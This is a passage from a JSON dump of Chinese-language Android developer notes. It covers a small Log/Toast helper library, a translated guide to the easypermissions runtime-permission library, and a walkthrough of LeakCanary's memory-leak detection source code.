\"1\");\n\n\n````\n\n到这里我们就已经把网络通信彻底的研究了一遍啦，虽然看起来稍微有一点点小复杂，但是我们要想的是，整个工程的网络通信，我这点代码就已经都写完了啊，以后用起来可就非常的方便啦。\n\n在这里，我们对RxJava，Retrofit2已经有了一个了解了，初步我们已经会使用了这些知识，在接下来的文章里，我不会再这么详细的介绍它们的使用，而是要介绍它们的实现的原理，和它们思想上的一些东西。\n\n>声明：以上内容为linSir本人原创，这些知识都是我的小手下tc孜孜不倦教给我的，哈哈哈，他的个人网站是：www.classtc.com ，里面也有许多和编程有关的知识~如果大家，对这些知识有什么疑问，可以留言，我会第一时间回复的。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android开源框架相关/一款Android的Log、Toast的库.md",
    "content": "> 没错，是我闲的无聊写了一个用来Log和Toast的库，这个库目前能实现将Log和Toast变得更简单，并且可以实现Log的快速定位，以及Debug和Release的切换，可以非常简单的配置在Realease情况下不打印Log。\n当然这些都还非常基础~也准备在接下来的时间里，封装一些网络操作的框架，还有一些BaseAdapter的框架。\n\n效果图：\n\n![效果图1](http://upload-images.jianshu.io/upload_images/2585384-173ddab4b5a04e20.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n## 配置方法\n```\ncompile 'com.linsir:linLog:1.0.0'\n```\n经过以上的配置，已经可以正常的使用了，如果我们想配置的更加轻便的话，是可以这样的：\n```\npublic class App extends Application {\n    public static final boolean DEBUG = BuildConfig.DEBUG;\n    @Override public void onCreate() {\n        super.onCreate();\n        LinToast.init(getApplicationContext());\n        LinLog.init(DEBUG, \"lin\");\n}\n```\n\n```\ndefaultConfig {\n        buildConfigField(\"boolean\", \"LOG\", \"true\")\n    }\n    buildTypes {\n        release {\n            buildConfigField(\"boolean\", \"LOG\", \"false\")\n        }\n    }\n```\n\n好了，以上便完全配置完成了~\n\n## 使用\n```\npublic class MainActivity extends AppCompatActivity {\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        LinLog.lLog(\"今天很开心\");\n        LinToast.showToast(\"啦啦啦啦~~~\");\n        test();\n    }\n\n    private void test(){\n        LinLog.lLog(\"我也是！\");\n    }\n}\n\n```\n\n## 源码\n[源码下载](https://github.com/linsir6/linLog)\n\n整个代码也不超过100行，就是进行了简单的封装，以及```Thread.currentThread().getStackTrace()```这样一个方法，便可以获取到打印Log的位置，以及一些基本的信息，然后展示出来就可以了。\n\n```\n/**\n *  Created by linSir \n *  date at 2017/5/3.\n *  describe: 一个专门用来展示log的工具类\n */\n\npublic class LinLog {\n\n    private static boolean Debug = true;\n    private static String Tag = \"null\";\n\n    public static void init(boolean debug, String tag) {\n        LinLog.Debug = debug;\n        LinLog.Tag = tag;\n    }\n\n    public static void lLog(String text){\n        if (!Debug){\n            return;\n        }\n        String dividingLine = \"╔================================================================\\n\";\n        String dividingLine2 = \"╚================================================================\\n\";\n        Log.e(Tag,dividingLine);\n        setUpContent(text);\n        Log.e(Tag,dividingLine2);\n    }\n\n    private static void setUpContent(String content) {\n        StackTraceElement targetStackTraceElement = getStackTraceElement();\n        Log.e(Tag, \"║ 出现log的位置-> (\" + targetStackTraceElement.getFileName() + \":\"\n                + targetStackTraceElement.getLineNumber() + \")\" + \" -> \" + targetStackTraceElement.getMethodName());\n        Log.e(Tag, \"║ log的内容-> \"+content);\n    }\n\n    private static StackTraceElement getStackTraceElement(){\n        StackTraceElement targetStackTrace = null;\n        boolean shouldTrace = false;\n        StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();\n        for (StackTraceElement stackTraceElement : stackTrace) {\n            boolean isLogMethod = stackTraceElement.getClassName().equals(LinLog.class.getName());\n            if (shouldTrace && !isLogMethod) {\n                targetStackTrace = stackTraceElement;\n                break;\n            }\n            shouldTrace = isLogMethod;\n        }\n        return targetStackTrace;\n    }\n}\n```\n\n```\npublic class LinToast {\n\n    private static LinToast linToast;\n    private static Context mContext;\n    private static Toast mToast;\n\n    public static void init(Context context) {\n        mContext = context.getApplicationContext();\n        mToast = Toast.makeText(context,\"\",Toast.LENGTH_SHORT);\n    }\n\n    public static void showToast(String txt) {\n        mToast.setText(txt);\n        mToast.setDuration(Toast.LENGTH_SHORT);\n        mToast.show();\n    }\n}\n\n```\n\n##  总结\n其实整体流程还是挺简单的，就是新建一个Library，然后写一下逻辑，写完之后，上传到[bintray.com](https://bintray.com)，然后就可以了。然后说句题外话，非常欢迎大家有事没事，引用一下这个库，增加一下下载量，也欢迎大家上我的github提issue或者star,follow的。\n总体感觉，写一个这样的库还是挺有意义的吧，可以把项目中经常用到的工具类封装一下，日后用着也方便，大家可以点开源码看一下，自己也尝试着写一下。之后我也会持续更新一些网络框架的封装，还有BaseAdapter的封装~如果大家在写类似东西的时候，遇到了问题也欢迎和我讨论。\n\n\n----\n欢迎大家点💕~~\n[GitHub地址](https://github.com/linsir6)，欢迎star，follow~~\n"
  },
  {
    "path": "docs/android/AndroidNote/Android开源框架相关/动态申请权限库：easypermissions使用与源码解析.md",
    "content": "# 动态申请权限库：easypermissions使用与源码解析\n\n当接触了Android 6.0 7.0 之后，很多人就会发现，单纯的在AndroidManifest.xml中声明权限已经是不好使的了，因为Google为了保护用户的权限，需要应用动态的权限申请。\n\n下面我们就介绍一个Google官方放出来的动态申请权限的库，[GitHub地址](https://github.com/googlesamples/easypermissions)，这个库可以简单的帮助我们完成动态申请权限的整个流程，并且可以将结果回调回来，因此我们可以在回调结果中加上我们的处理逻辑。\n\n## Installation 安装\n\nEasyPermissions is installed by adding the following dependency to your build.gradle file:\n\n```java\ndependencies {\n    compile 'pub.devrel:easypermissions:0.4.0'\n}\n```\n\n\n## Usage 用法\n\n### Basic 基础\n\nTo begin using EasyPermissions, have your Activity (or Fragment) override the onRequestPermissionsResult method:\n\n开始用这个库的时候，需要让Activity或者Fragment重写onRequestPermissionsResult这个方法：\n\n```\npublic class MainActivity extends AppCompatActivity {\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n    }\n\n    @Override\n    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n\n        // Forward results to EasyPermissions\n        // 远期回调回来的结果\n        EasyPermissions.onRequestPermissionsResult(requestCode, permissions, grantResults, this);\n    }\n}\n```\n\n### Request Permissions\nThe example below shows how to request permissions for a method that requires both CAMERA and ACCESS_FINE_LOCATION permissions. There are a few things to note:\n\n- Using EasyPermissions#hasPermissions(...) to check if the app already has the required permissions. This method can take any number of permissions as its final argument.\n\n- Requesting permissions with EasyPermissions#requestPermissions. This method will request the system permissions and show the rationale string provided if necessary. The request code provided should be unique to this request, and the method can take any number of permissions as its final argument.\n\n- Use of the AfterPermissionGranted annotation. This is optional, but provided for convenience. If all of the permissions in a given request are granted, any methods annotated with the proper request code will be executed. This is to simplify the common flow of needing to run the requesting method after all of its permissions have been granted. This can also be achieved by adding logic on the onPermissionsGranted callback.\n\n下面这个例子展示了如何申请权限用一个方法同时申请相机和申请定位的权限，这里有一些内容需要注意：\n\n- 用EasyPermissions的hasPermissions方法检测一下，是否app已经具有要申请的权限。这个方法可以将许多方法作为最后的论证。\n\n- 申请权限通过EasyPermissions的requestPermissions的方法。这个方法将会申请系统的权限，并且在如果有必要的条件下会展示出理由。这个申请权限的代码应该提供独一无二的申请，并且这些方法可以提供很多权限作为最终的定论。\n\n- 应用AfterPermissionGranted这个标签，这是可以选择的，但是它提供了方便。如果所有权限在申请之后都被授予了，一些携带着这个标签的方法将会被执行。这是为了简化在所有权限被授予后需要运行请求方法的公共流程。这些同样也可以被实现通过添加合理的逻辑在onPermissionsGranted这个方法回调的时候。\n\n```\n@AfterPermissionGranted(RC_CAMERA_AND_LOCATION)\nprivate void methodRequiresTwoPermission() {\n    String[] perms = {Manifest.permission.CAMERA, Manifest.permission.ACCESS_FINE_LOCATION};\n    if (EasyPermissions.hasPermissions(this, perms)) {\n        // Already have permission, do the thing\n        // ...\n    } else {\n        // Do not have permissions, request them now\n        EasyPermissions.requestPermissions(this, getString(R.string.camera_and_location_rationale),\n                RC_CAMERA_AND_LOCATION, perms);\n    }\n}\n```\n\n\nOptionally, for a finer control, you can have your Activity / Fragment implement the PermissionCallbacks interface.\n\n随意的，通过一个好的控制，你可以让你的Activity/Fragment 实现PermissionCallbacks这个接口。\n\n\n```\npublic class MainActivity extends AppCompatActivity implements EasyPermissions.PermissionCallbacks {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n    }\n\n    @Override\n    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n\n        // Forward results to EasyPermissions\n        EasyPermissions.onRequestPermissionsResult(requestCode, permissions, grantResults, this);\n    }\n\n    @Override\n    public void onPermissionsGranted(int requestCode, List<String> list) {\n        // Some permissions have been granted\n        // ...\n    }\n\n    @Override\n    public void onPermissionsDenied(int requestCode, List<String> list) {\n        // Some permissions have been denied\n        // ...\n    }\n}\n```\n\n\n### Required Permissions 必须的权限\n\nIn some cases your app will not function properly without certain permissions. If the user denies these permissions with the \"Never Ask Again\" option, you will be unable to request these permissions from the user and they must be changed in app settings. You can use the method EasyPermissions.somePermissionPermanentlyDenied(...) to display a dialog to the user in this situation and direct them to the system setting screen for your app:\n\n\n无论如何你的app在没有某些权限的时候是不能正常运行的。如果用户否认这些权限，并且选择了再也不询问的选项，你将没有能力去申请那些权限通过用户，他们必须在app的设置中修改这些。你可以用这个方法EasyPermissions.somePermissionPermanentlyDenied(...)，展示一个对话框给用户在这个位置直接的告诉他们去系统的设置中去改变为了这个app：\n\n```\n@Override\npublic void onPermissionsDenied(int requestCode, List<String> perms) {\n    Log.d(TAG, \"onPermissionsDenied:\" + requestCode + \":\" + perms.size());\n\n    // (Optional) Check whether the user denied any permissions and checked \"NEVER ASK AGAIN.\"\n    // This will display a dialog directing them to enable the permission in app settings.\n    if (EasyPermissions.somePermissionPermanentlyDenied(this, perms)) {\n        new AppSettingsDialog.Builder(this).build().show();\n    }\n}\n\n@Override\npublic void onActivityResult(int requestCode, int resultCode, Intent data) {\n    super.onActivityResult(requestCode, resultCode, data);\n\n    if (requestCode == AppSettingsDialog.DEFAULT_SETTINGS_REQ_CODE) {\n        // Do something after user returned from app settings screen, like showing a Toast.\n        Toast.makeText(this, R.string.returned_from_app_settings_to_activity, Toast.LENGTH_SHORT)\n                .show();\n    }\n}\n```\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android性能优化相关/LeakCanary工作过程以及原理.md",
    "content": "# LeakCanary的工作过程以及原理\n\n> 本文是转载的！ 原文地址：http://blog.csdn.net/zivensonice/article/details/51639763\n> 本文是转载的！ 原文地址：http://blog.csdn.net/zivensonice/article/details/51639763\n> 本文是转载的！ 原文地址：http://blog.csdn.net/zivensonice/article/details/51639763\n\n先说一下，这篇文章，是博主看到的少有的好文，感觉写的非常通俗易通。\n\n# 曾经检测内存泄露的方式\n\n让我们来看看在没有LeakCanary之前，我们怎么来检测内存泄露 \n\n1. Bug收集 \n通过Bugly、友盟这样的统计平台，统计Bug，了解OutOfMemaryError的情况。 \n\n2. 重现问题 \n对Bug进行筛选，归类，排除干扰项。然后为了重现问题，有时候你必须找到出现问题的机型，因为有些问题只会在特定的设备上才会出现。为了找到特定的机型，可能会想尽一切办法，去买、去借、去求人（14年的时候，上家公司专门派了一个商务去广州找了一家租赁手机的公司，借了50台手机回来，600块钱一天）。然后，为了重现问题，一遍一遍的尝试，去还原当时OutOfMemaryError出现的原因，用最原始、最粗暴的方式。 \n\n3. Dump导出hprof文件 \n使用Eclipse ADT的DDMS，观察Heap，然后点击手动GC按钮(Cause GC)，观察内存增长情况，导出hprof文件。 \n主要观测的两项数据： \n\n3-1. Heap Size的大小，当资源增加到堆空余空间不够的时候，系统会增加堆空间的大小，但是超过可分配的最大值（比如手机给App分配的最大堆空间为128M）就会发生OutOfMemaryError,这个时候进程就会被杀死。这个最大堆空间，不同手机会有不同的值，跟手机内存大小和厂商定制过后的系统存在关联。 \n\n3-2. Allocated堆中已分配的大小，这是应用程序实际占用的大小，资源回收后，这项数据会变小。 \n查看操作前后的堆数据，看是否存在内存泄露，比如反复打开、关闭一个页面，看看堆空间是否会一直增大。 \n\n![](http://img.blog.csdn.net/20160611180718063)\n\n4. 然后使用MAT内存分析工具打开，反复查看找到那些原本应该被回收掉的对象。 \n\n5. 计算这个对象到GC roots的最短强引用路径。 \n\n6. 确定那个路径中那个引用不该有，然后修复问题。\n\n很麻烦，不是吗。现在有一个类库可以直接解决这个问题\n\n\n## LeakCanary\n\n### 使用方式\n\n使用AndroidStudio，在Module.app的build.gradle中引入\n\n```\ndependencies {\n   debugCompile 'com.squareup.leakcanary:leakcanary-android:1.4-beta2'\n   releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'\n   testCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.4-beta2'\n }\n```\n\n然后在Application中重写onCreate()方法\n\n```\npublic class ExampleApplication extends Application {\n  @Override public void onCreate() {\n    super.onCreate();\n    LeakCanary.install(this);\n  }\n}\n```\n\n在Activity中写一些导致内存泄露的代码，当发生内存泄露了，会在通知栏弹出消息，点击跳转到泄露页面\n\n![](http://img.blog.csdn.net/20160612000027141)\n\nLeakCanary 可以做到非常简单方便、低侵入性地捕获内存泄漏代码，甚至很多时候你可以捕捉到 Android 系统组件的内存泄漏代码，最关键是不用再进行（捕获错误+Bug归档+场景重现+Dump+Mat分析） 这一系列复杂操作，6得不行。\n\n\n## 原理分析\n\n### 如果我们自己实现\n\n首先，设想如果让我们自己来实现一个LeakCanary，我们怎么来实现。 \n按照前面说的曾经检测内存的方式，我想，大概需要以下几个步骤： \n1. 检测一个对象，查看他是否被回收了。\n\n2. 如果没有被回收，使用DDMS的dump导出.hprof文件，确定是否内存泄露，如果泄露了导出最短引用路径 \n\n3. 把最短引用路径封装到一个对象中，用Intent发送给Notification，然后点击跳转到展示页，页面展示\n\n## 检测对象，是否被回收\n\n我们来看看，LeakCanary是不是按照这种方式实现的。除了刚才说的只需要在Application中的onCreate方法注册LeakCanary.install(this);这种方式。 查看源码，使用官方给的Demo示例代码中，我们发现有一个RefWatcher对象，也可以用来监测，看看它是如何使用的。 \nMainActivity.class\n\n```\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        RefWatcher refWatcher = LeakCanary.androidWatcher(getApplicationContext(),\n                new ServiceHeapDumpListener(getApplicationContext(), DisplayLeakService.class),\n                AndroidExcludedRefs.createAppDefaults().build());\n        refWatcher.watch(this);\n  }\n```\n\n\n就是把MainActivity作为一个对象监测起来，查看``refWatcher.watch(this)``的实现\n\n\n\n```\npublic void watch(Object watchedReference) {\n    watch(watchedReference, \"\");\n  }\n\n  /**\n   * Watches the provided references and checks if it can be GCed. This method is non blocking,\n   * the check is done on the {@link Executor} this {@link RefWatcher} has been constructed with.\n   *\n   * @param referenceName An logical identifier for the watched object.\n   */\n  public void watch(Object watchedReference, String referenceName) {\n    Preconditions.checkNotNull(watchedReference, \"watchedReference\");\n    Preconditions.checkNotNull(referenceName, \"referenceName\");\n    if (debuggerControl.isDebuggerAttached()) {\n      return;\n    }\n    final long watchStartNanoTime = System.nanoTime();\n    String key = UUID.randomUUID().toString();\n    retainedKeys.add(key);\n    final KeyedWeakReference reference =\n        new KeyedWeakReference(watchedReference, key, referenceName, queue);\n\n    watchExecutor.execute(new Runnable() {\n      @Override public void run() {\n        ensureGone(reference, watchStartNanoTime);\n      }\n    });\n  }\n```\n\n\n可以总结出他的实现步骤如下： \n1. 先检查监测对象是否为空，为空抛出异常 \n\n2. 如果是在调试Debugger过程中允许内存泄露出现，不再监测。因为这个时候监测的对象是不准确的，而且会干扰我们调试代码。 \n\n3. 给监测对象生成UUID唯一标识符，存入Set集合，方便查找。 \n\n4. 然后定义了一个KeyedWeakReference，查看下KeyedWeakReference是个什么玩意\n\n\n\n\n```\npublic final class KeyedWeakReference extends WeakReference<Object> {\n  public final String key;\n  public final String name;\n\n  KeyedWeakReference(Object referent, String key, String name,\n      ReferenceQueue<Object> referenceQueue) {\n    super(Preconditions.checkNotNull(referent, \"referent\"), Preconditions.checkNotNull(referenceQueue, \"referenceQueue\"));\n    this.key = Preconditions.checkNotNull(key, \"key\");\n    this.name = Preconditions.checkNotNull(name, \"name\");\n  }\n}\n```\n\n原来KeyedWeakReference就是对WeakReference进行了一些加工，是一种装饰设计模式，其实就是弱引用的衍生类。配合前面的Set retainedKeys使用，retainedKeys代表的是没有被GC回收的对象，referenceQueue中的弱引用代表的是被GC了的对象，通过这两个结构就可以明确知道一个对象是不是被回收了。（ 一个对象在referenceQueue可以找到当时在retainedKeys中找不到，那么肯定被回收了，没有内存泄漏一说） \n\n5. 接着看上面的执行过程，然后通过线程池开启了一个异步任务方法ensureGone。watchExecutor看看这个实体的类实现—AndroidWatchExecutor，查看源码\n\n\n```\npublic final class AndroidWatchExecutor implements Executor {\n\n  static final String LEAK_CANARY_THREAD_NAME = \"LeakCanary-Heap-Dump\";\n  private static final int DELAY_MILLIS = 5000;\n\n  private final Handler mainHandler;\n  private final Handler backgroundHandler;\n\n  public AndroidWatchExecutor() {\n    mainHandler = new Handler(Looper.getMainLooper());\n    HandlerThread handlerThread = new HandlerThread(LEAK_CANARY_THREAD_NAME);\n    handlerThread.start();\n    backgroundHandler = new Handler(handlerThread.getLooper());\n  }\n\n  @Override public void execute(final Runnable command) {\n    if (isOnMainThread()) {\n      executeDelayedAfterIdleUnsafe(command);\n    } else {\n      mainHandler.post(new Runnable() {\n        @Override public void run() {\n          executeDelayedAfterIdleUnsafe(command);\n        }\n      });\n    }\n  }\n\n  private boolean isOnMainThread() {\n    return Looper.getMainLooper().getThread() == Thread.currentThread();\n  }\n\n  private void executeDelayedAfterIdleUnsafe(final Runnable runnable) {\n    // This needs to be called from the main thread.\n    Looper.myQueue().addIdleHandler(new MessageQueue.IdleHandler() {\n      @Override public boolean queueIdle() {\n        backgroundHandler.postDelayed(runnable, DELAY_MILLIS);\n        return false;\n      }\n    });\n  }\n}\n```\n\n\n做得事情就是，通过主线程的mainHandler转发到后台backgroundHandler执行任务，后台线程延迟DELAY_MILLIS这么多时间执行 \n\n6. 具体执行的任务在ensureGone()方法里面\n\n```\nvoid ensureGone(KeyedWeakReference reference, long watchStartNanoTime) {\n    long gcStartNanoTime = System.nanoTime();\n    //记录观测对象的时间\n    long watchDurationMs = NANOSECONDS.toMillis(gcStartNanoTime - watchStartNanoTime);\n    //清除在queue中的弱引用 保留retainedKeys中剩下的对象\n    removeWeaklyReachableReferences();\n    //如果剩下的对象中不包含引用对象，说明已被回收，返回||调试中,返回\n    if (gone(reference) || debuggerControl.isDebuggerAttached()) {\n      return;\n    }\n    //请求执行GC\n    gcTrigger.runGc();\n    //再次清理一次对象\n    removeWeaklyReachableReferences();\n    if (!gone(reference)) {\n      long startDumpHeap = System.nanoTime();\n      //记录下GC执行时间\n      long gcDurationMs = NANOSECONDS.toMillis(startDumpHeap - gcStartNanoTime);\n      //Dump导出hprof文件\n      File heapDumpFile = heapDumper.dumpHeap();\n\n      if (heapDumpFile == null) {\n        // Could not dump the heap, abort.\n        return;\n      }\n      //记录下Dump和文件导出用的时间\n      long heapDumpDurationMs = NANOSECONDS.toMillis(System.nanoTime() - startDumpHeap);\n      //分析hprof文件\n      heapdumpListener.analyze(\n          new HeapDump(heapDumpFile, reference.key, reference.name, excludedRefs, watchDurationMs,\n              gcDurationMs, heapDumpDurationMs));\n    }\n  }\n\n  private boolean gone(KeyedWeakReference reference) {\n    return !retainedKeys.contains(reference.key);\n  }\n```\n\n\n```\nprivate void removeWeaklyReachableReferences() {\n    // WeakReferences are enqueued as soon as the object to which they point to becomes weakly\n    // reachable. This is before finalization or garbage collection has actually happened.\n    KeyedWeakReference ref;\n    while ((ref = (KeyedWeakReference) queue.poll()) != null) {\n      retainedKeys.remove(ref.key);\n    }\n  }\n```\n\n\n这里我们思考两个问题： \n1. retainedKeys和queue怎么关联起来的？这里的removeWeaklyReachableReferences方法就实现了我们说的 retainedKeys代表的是没有被GC回收的对象，queue中的弱引用代表的是被GC了的对象，之间的关联， 一个对象在queue可以找到当时在retainedKeys中找不到，那么肯定被回收了。gone()返回true说明对象已被回收，不需要观测了。 \n\n2. 为什么执行removeWeaklyReachableReferences()两次？为了保证效率，如果对象被回收，没必要再通知GC执行，Dump操作等等一系列繁琐步骤，况且GC是一个线程优先级极低的线程，就算你通知了，她也不一定会执行，基于这一点，我们分析的观测对象的时机就显得尤为重要了，在对象被回收的时候召唤观测。\n\n\n\n### 何时执行观测对象\n\n我们观测的是一个Activity，Activity这样的组件都存在生命周期，在他生命周期结束的时，观测他如果还存活的话 就肯定就存在内存泄露了，进一步推论，Activity的生命周期结束就关联到它的onDestory()方法，也就是只要重写这个方法就可以了。\n\n```\n@Override\n    protected void onDestroy() {\n        super.onDestroy();\n        refWatcher.watch(this);\n    }\n```\n\n在MainActivity中加上这行代码就好了，但是我们显然不想每个Activity都这样干，都是同样的代码为啥要重复着写，当然解决办法呼之欲出：\n\n\n```\nprivate final Application.ActivityLifecycleCallbacks lifecycleCallbacks =\n      new Application.ActivityLifecycleCallbacks() {\n        @Override public void onActivityCreated(Activity activity, Bundle savedInstanceState) {\n        }\n\n        @Override public void onActivityStarted(Activity activity) {\n        }\n\n        @Override public void onActivityResumed(Activity activity) {\n        }\n\n        @Override public void onActivityPaused(Activity activity) {\n        }\n\n        @Override public void onActivityStopped(Activity activity) {\n        }\n\n        @Override public void onActivitySaveInstanceState(Activity activity, Bundle outState) {\n        }\n\n        @Override public void onActivityDestroyed(Activity activity) {\n          ActivityRefWatcher.this.onActivityDestroyed(activity);\n        }\n      };\n    void onActivityDestroyed(Activity activity) {\n        refWatcher.watch(activity);\n    }\n```\n\n\n\nLeakCanary源码是这样做的，通过ActivityLifecycleCallbacks转发，然后在install()中使用这个接口，这就实现了我们只需要调用LeakCanary.install(this);这句代码在Application中就可以实现监测\n\n```\npublic final class LeakCanary {\n    public static RefWatcher install(Application application) {\n        return install(application, DisplayLeakService.class, AndroidExcludedRefs.createAppDefaults().build());\n    }\n\n    public static RefWatcher install(Application application, Class<? extends AbstractAnalysisResultService> listenerServiceClass, ExcludedRefs excludedRefs) {\n        if(isInAnalyzerProcess(application)) {\n            return RefWatcher.DISABLED;\n        } else {\n            enableDisplayLeakActivity(application);\n            ServiceHeapDumpListener heapDumpListener = new ServiceHeapDumpListener(application, listenerServiceClass);\n            RefWatcher refWatcher = androidWatcher(application, heapDumpListener, excludedRefs);\n            ActivityRefWatcher.installOnIcsPlus(application, refWatcher);\n            return refWatcher;\n        }\n    }\n```\n\n\n不需要在每个Activity方法的结束再多写几行onDestroy()代码，但是这个方法有个缺点，看注释\n\n\n// If you need to support Android < ICS, override onDestroy() in your base activity.\n\n\n\n\n```\n \t\t//ICS\n        October 2011: Android 4.0.\n        public static final int ICE_CREAM_SANDWICH = 14;\n\n```\n\n如果是SDK 14 android 4.0以下的系统，不具备这个接口，也就是还是的通过刚才那种方式重写onDestory()方法。而且只实现了ActivityRefWatcher.installOnIcsPlus(application, refWatcher);对Activity进行监测，如果是服务或者广播还需要我们自己实现\n\n### 分析hprof文件\n\n接着分析，查看文件解析类发现他是个转发工具类\n\n\n```\npublic final class ServiceHeapDumpListener implements HeapDump.Listener {\n  ...\n  @Override public void analyze(HeapDump heapDump) {\n      Preconditions.checkNotNull(heapDump, \"heapDump\");\n     //转发给HeapAnalyzerService\n    HeapAnalyzerService.runAnalysis(context, heapDump, listenerServiceClass);\n  }\n}\n```\n\n通过IntentService运行在另一个进程中执行分析任务\n\n\n\n```\npublic final class HeapAnalyzerService extends IntentService {\n\n  private static final String LISTENER_CLASS_EXTRA = \"listener_class_extra\";\n  private static final String HEAPDUMP_EXTRA = \"heapdump_extra\";\n\n  public static void runAnalysis(Context context, HeapDump heapDump,\n      Class<? extends AbstractAnalysisResultService> listenerServiceClass) {\n    Intent intent = new Intent(context, HeapAnalyzerService.class);\n    intent.putExtra(LISTENER_CLASS_EXTRA, listenerServiceClass.getName());\n    intent.putExtra(HEAPDUMP_EXTRA, heapDump);\n    context.startService(intent);\n  }\n\n  @Override protected void onHandleIntent(Intent intent) {\n    String listenerClassName = intent.getStringExtra(LISTENER_CLASS_EXTRA);\n    HeapDump heapDump = (HeapDump) intent.getSerializableExtra(HEAPDUMP_EXTRA);\n\n    ExcludedRefs androidExcludedDefault = createAndroidDefaults().build();\n    HeapAnalyzer heapAnalyzer = new HeapAnalyzer(androidExcludedDefault, heapDump.excludedRefs);\n    //获取分析结果\n    AnalysisResult result = heapAnalyzer.checkForLeak(heapDump.heapDumpFile, heapDump.referenceKey);\n    AbstractAnalysisResultService.sendResultToListener(this, listenerClassName, heapDump, result);\n  }\n}\n```\n\n查看heapAnalyzer.checkForLeak代码\n\n```\npublic AnalysisResult checkForLeak(File heapDumpFile, String referenceKey) {\n    long analysisStartNanoTime = System.nanoTime();\n\n    if (!heapDumpFile.exists()) {\n      Exception exception = new IllegalArgumentException(\"File does not exist: \" + heapDumpFile);\n      return AnalysisResult.failure(exception, since(analysisStartNanoTime));\n    }\n\n    ISnapshot snapshot = null;\n    try {\n      // 加载hprof文件\n      snapshot = openSnapshot(heapDumpFile);\n      //找到泄露对象\n      IObject leakingRef = findLeakingReference(referenceKey, snapshot);\n\n      // False alarm, weak reference was cleared in between key check and heap dump.\n      if (leakingRef == null) {\n        return AnalysisResult.noLeak(since(analysisStartNanoTime));\n      }\n\n      String className = leakingRef.getClazz().getName();\n      // 最短引用路径\n      AnalysisResult result =\n          findLeakTrace(analysisStartNanoTime, snapshot, leakingRef, className, true);\n      //如果没找到  尝试排除系统进程干扰的情况下找出最短引用路径\n      if (!result.leakFound) {\n        result = findLeakTrace(analysisStartNanoTime, snapshot, leakingRef, className, false);\n      }\n\n      return result;\n    } catch (SnapshotException e) {\n      return AnalysisResult.failure(e, since(analysisStartNanoTime));\n    } finally {\n      cleanup(heapDumpFile, snapshot);\n    }\n  }\n```\n\n到这里，我们就找到了泄露对象的最短引用路径，剩下的工作就是发送消息给通知，然后点击通知栏跳转到我们另一个App打开绘制出路径即可。\n\n### 补充—排除干扰项\n\n但是我们在找出最短引用路径的时候，有这样一段代码，他是干什么的呢\n\n```\n// 最短引用路径\n      AnalysisResult result =\n          findLeakTrace(analysisStartNanoTime, snapshot, leakingRef, className, true);\n      //如果没找到  尝试排除系统进程干扰的情况下找出最短引用路径\n      if (!result.leakFound) {\n        result = findLeakTrace(analysisStartNanoTime, snapshot, leakingRef, className, false);\n```\n\n\n查看findLeakTrace()\n\n```\nprivate AnalysisResult findLeakTrace(long analysisStartNanoTime, ISnapshot snapshot,\n      IObject leakingRef, String className, boolean excludingKnownLeaks) throws SnapshotException {\n\n    ExcludedRefs excludedRefs = excludingKnownLeaks ? this.excludedRefs : baseExcludedRefs;\n\n    PathsFromGCRootsTree gcRootsTree = shortestPathToGcRoots(snapshot, leakingRef, excludedRefs);\n\n    // False alarm, no strong reference path to GC Roots.\n    if (gcRootsTree == null) {\n      return AnalysisResult.noLeak(since(analysisStartNanoTime));\n    }\n\n    LeakTrace leakTrace = buildLeakTrace(snapshot, gcRootsTree, excludedRefs);\n\n    return AnalysisResult.leakDetected(!excludingKnownLeaks, className, leakTrace, since(analysisStartNanoTime));\n  }\n```\n\n\n唯一的不同是excludingKnownLeaks 从字面意思也很好理解，是否排除已知内存泄露\n\n其实是这样的，在我们系统中本身就存在一些内存泄露的情况，这是上层App工程师无能为力的。但是如果是厂商或者做Android Framework层的工程师可能需要关心这个，于是做成一个参数配置的方式，让我们灵活选择岂不妙哉。当然，默认是会排除系统自带泄露情况的，不然打开App，弹出一堆莫名其妙的内存泄露，我们还无能为力，着实让人惶恐，而且我们还可以自己配置。 \n通过ExcludedRefs这个类\n\n\n```\npublic final class ExcludedRefs implements Serializable {\n\n  public final Map<String, Set<String>> excludeFieldMap;\n  public final Map<String, Set<String>> excludeStaticFieldMap;\n  public final Set<String> excludedThreads;\n\n  private ExcludedRefs(Map<String, Set<String>> excludeFieldMap,\n      Map<String, Set<String>> excludeStaticFieldMap, Set<String> excludedThreads) {\n    // Copy + unmodifiable.\n    this.excludeFieldMap = unmodifiableMap(new LinkedHashMap<String, Set<String>>(excludeFieldMap));\n    this.excludeStaticFieldMap = unmodifiableMap(new LinkedHashMap<String, Set<String>>(excludeStaticFieldMap));\n    this.excludedThreads = unmodifiableSet(new LinkedHashSet<String>(excludedThreads));\n  }\n\n  public static final class Builder {\n    private final Map<String, Set<String>> excludeFieldMap = new LinkedHashMap<String, Set<String>>();\n    private final Map<String, Set<String>> excludeStaticFieldMap = new LinkedHashMap<String, Set<String>>();\n    private final Set<String> excludedThreads = new LinkedHashSet<String>();\n\n    public Builder instanceField(String className, String fieldName) {\n        Preconditions.checkNotNull(className, \"className\");\n      Preconditions.checkNotNull(fieldName, \"fieldName\");\n      Set<String> excludedFields = excludeFieldMap.get(className);\n      if (excludedFields == null) {\n        excludedFields = new LinkedHashSet<String>();\n        excludeFieldMap.put(className, excludedFields);\n      }\n      excludedFields.add(fieldName);\n      return this;\n    }\n\n    public Builder staticField(String className, String fieldName) {\n        Preconditions.checkNotNull(className, \"className\");\n        Preconditions.checkNotNull(fieldName, \"fieldName\");\n      Set<String> excludedFields = excludeStaticFieldMap.get(className);\n      if (excludedFields == null) 